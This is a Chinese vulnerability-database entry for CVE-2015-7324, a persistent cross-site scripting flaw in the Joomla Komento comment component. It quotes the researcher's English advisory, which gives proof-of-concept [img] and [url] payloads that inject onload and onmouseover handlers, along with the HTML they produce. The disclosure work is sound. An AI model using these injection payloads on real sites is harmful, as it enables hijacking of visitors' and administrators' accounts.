Joomla! StackIdeas Komento组件跨站脚本漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1152031 漏洞类型 跨站脚本
发布时间 2015-10-02 更新时间 2015-10-02
CVE编号 CVE-2015-7324 CNNVD-ID CNNVD-201510-642
漏洞平台 N/A CVSS评分 4.3
|漏洞来源
https://www.securityfocus.com/bid/76950
https://cxsecurity.com/issue/WLB-2015100052
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201510-642
|漏洞详情
Joomla!是美国OpenSourceMatters团队开发的一套开源的内容管理系统(CMS),该系统提供RSS馈送、网站搜索等功能。StackIdeasKomento是其中的一个通用评论组件。Joomla!StackIdeasKomento(com_komento)组件2.0.5之前的版本中的helpers/comment.php文件存在跨站脚本漏洞。远程攻击者可借助新评论的img或url标签利用该漏洞注入任意的Web脚本或HTML。
|漏洞EXP
CVE Reference: CVE-2015-7324
Original advisory:
https://www.davidsopas.com/komento-joomla-component-persistent-xss/
Author: David Sopas @dsopas

Komento is a Joomla! comment extension for articles and blogs in K2,
EasyBlog, ZOO, Flexicontent, VirtueMart and redShop.

@http://stackideas.com/komento

I found out that was possible to launch a Persistent XSS attack when
adding a new comment using the WYSIWYG website and image buttons.
This issue was critical in both environments - frontend and backoffice.

In frontend when a user visited a page where the comment has a XSS
attack it would be automatically affected.
In the other side - the backoffice - when the admin checked the new
comment it would be vulnerable to this attack and could get his
account hijacked or something even more dangerous.

What I did was to pass along the XSS vector in the [img] code and use
the Javascript onload to run the exploit when image loads.

Proof-of-concept using [img]:
[img]http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"
onload="prompt(1)[/img]

Proof-of-concept using [url]:
[url="https://www.davidsopas.com" onmouseover="prompt(1)"]Your text to
link[/url]

In the [img] case this will reflect the following HTML (on the frontend):

<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"
data-pagespeed-onload="prompt(1)"
alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"
onload="prompt(1)" style="max-width:300px;max-height:300px;"
onload="var elem=this;if (this==window)
elem=document.body;elem.setAttribute('data-pagespeed-loaded', 1)"/>

And...

<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"
data-pagespeed-onload="prompt(1)"
alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"
onload="prompt(1)" style="max-width:300px;max-height:300px;">

In the administrator area.

This Joomla! component has lot’s of Google results and can affect a
large number of innocent people. A victim just by visiting the page
with a malicious comment will be affected.

All versions prior to 2.0.5 are affected.
Vendor already patched both security issues in the new version 2.0.5 -
http://stackideas.com/changelog/komento

-David Sopas
davidsopas.com
@dsopas


|受影响的产品
StackIdeas komento 2.0.4 StackIdeas komento 1.7.4 StackIdeas komento 1.7.3 StackIdeas komento 1.7.2
|参考资料

来源:BID
链接:http://www.securityfocus.com/bid/76950
来源:FULLDISC
链接:http://seclists.org/fulldisclosure/2015/Oct/11
来源:CONFIRM
链接:https://stackideas.com/changelog/komento?version=2.0.5
来源:MISC
链接:https://www.davidsopas.com/komento-joomla-component-persistent-xss/